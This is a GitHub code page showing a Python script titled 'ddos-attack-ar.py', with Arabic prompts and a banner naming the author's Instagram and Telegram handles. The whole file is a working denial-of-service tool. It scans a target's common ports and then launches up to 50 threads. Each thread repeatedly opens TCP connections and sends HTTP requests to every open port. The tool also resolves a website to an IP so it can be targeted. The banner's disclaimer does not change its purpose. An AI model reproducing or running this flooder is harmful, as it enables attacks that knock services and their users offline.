-
Notifications
You must be signed in to change notification settings - Fork 5
/
ddos-attack-ar.py
156 lines (137 loc) · 6.08 KB
/
ddos-attack-ar.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
# طلب خاص من البعض
# import json as m
# import json
# import requests as re
# import os
# import string
# import random
# from Colorama import Fore
from colorama import *
import socket
import threading
import sys as n
import time as mm
import time
from tqdm import tqdm
def slow(M):
for c in M + "\n":
n.stdout.write(c)
n.stdout.flush()
mm.sleep(0.5 / 120)
slow(Fore.LIGHTWHITE_EX+"""
██████╗ ██████╗ ██████╗ ███████╗
██╔══██╗██╔══██╗██╔═══██╗██╔════╝
██║ ██║██║ ██║██║ ██║███████╗
██║ ██║██║ ██║██║ ██║╚════██║
██████╔╝██████╔╝╚██████╔╝███████║
╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
█████╗ ████████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
███████║ ██║ ██║ ███████║██║ █████╔╝
██╔══██║ ██║ ██║ ██╔══██║██║ ██╔═██╗
██║ ██║ ██║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
========================================================
[!] أبري ذمتي من أي استخدام مضر و خاظئ بالاداة
INSTAGRAM: @WACNS
TELEGRAM : @WACNS
CHANNEL : @WACNSS
[!] خل البروكسيات في ملف اسمه proxy.txt
[!] لو كانت البروكسيات فيها بورتات كمثال
126.57.225.2:8080 اختار رقم 3
========================================================
[1] لو كان وياك ايبي الي تبغي تنفذ عليه الهجمات
[2] لو تبغي تطلع ايبي الي بتنفذ عليه الهجمات
[3] لفلترة البروكسيات من البورتات
========================================================""")
mylock = threading.Lock()
def sprint(*a, **b):
with mylock:
print(*a, **b)
def attack(proxy, target, portlast):
try:
global running
running += 1
except:
running = 0
for i in range(10000):
for port in portlast:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + proxy + "\r\n\r\n").encode('ascii'), (target, port))
s.close()
sprint(Fore.GREEN+f"تم مهاجمة: {target} | المنفذ: {proxy}:{port}")
except:
sprint(Fore.RED + f"لم يتم مهاجمة: {target} | المنفذ: {proxy}:{port}")
continue
running -= 1
def first1(target):
file = open("proxy.txt", "r").read().splitlines()
ports = [1, 5, 7, 18, 20, 21, 22, 23, 25, 43, 42, 53, 80, 109, 110, 115, 118, 443, 194, 161, 445, 156, 137, 139,
3306]
portlast = []
for port in tqdm(ports,desc="جاري فحص البورتات المفتوحة",bar_format="%s{l_bar}%s{bar}%s{r_bar}" % (Fore.LIGHTWHITE_EX, Fore.LIGHTWHITE_EX, Fore.LIGHTWHITE_EX)):
a_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
a_socket.settimeout(2)
result_of_check = a_socket.connect_ex((target, port))
a_socket.settimeout(None)
if result_of_check == 0:
portlast.append(port)
else:
pass
a_socket.close()
slow(Fore.LIGHTWHITE_EX+f"عدد البورتات المفتوحة: {len(portlast)}")
if len(portlast) == 0:
slow(Fore.LIGHTWHITE_EX+"لا يمكن تنفيذ الهجوم عدد البورتات المفتوحة 0")
exit()
else:
pass
time.sleep(2)
max = 50
running = 0
for proxy in file:
if running < max:
x = threading.Thread(target=attack, args=(proxy, target,portlast,))
x.start()
else:
time.sleep(1)
def first2(target):
firstip = target.split(".com")[0]
secondip = firstip.replace("http://", "")
thirdip = secondip.replace("https://", "")
lastip = thirdip.replace("www.", "")
ip = socket.gethostbyname(lastip+".com")
slow(Fore.LIGHTWHITE_EX+"========================================================")
slow(Fore.LIGHTWHITE_EX+f"ايبي الشخص هو : {ip}")
exit()
def first3(file):
listfiltered = []
for prox in file:
if ":" in prox:
filtered = prox.split(":")[0]
listfiltered.append(filtered)
else:
listfiltered.append(prox)
clearfile = open('proxy.txt', 'w')
clearfile.close()
for save in listfiltered:
with open("proxy.txt", "a") as filters:
filters.write(save+"\n")
slow(Fore.LIGHTWHITE_EX+"========================================================")
slow(Fore.LIGHTWHITE_EX+"امسح السطر الفاضي في ملف proxy.txt و ارجع شغل الاداة.")
exit()
first = input("اختر رقم: ")
if first == "1":
target = input("ضع ايبي الشخص الي بتنفذ عليه الهجمات: ")
first1(target)
elif first == "2":
target = str(input("ضع رابط الي بتطلع ايبيه: "))
first2(target)
elif first == "3":
file = open('proxy.txt', 'r').read().splitlines()
first3(file)
else:
slow(Fore.LIGHTWHITE_EX+"========================================================")
slow(Fore.LIGHTWHITE_EX+"يا غبي اختار 1 ولا 2 ولا 3")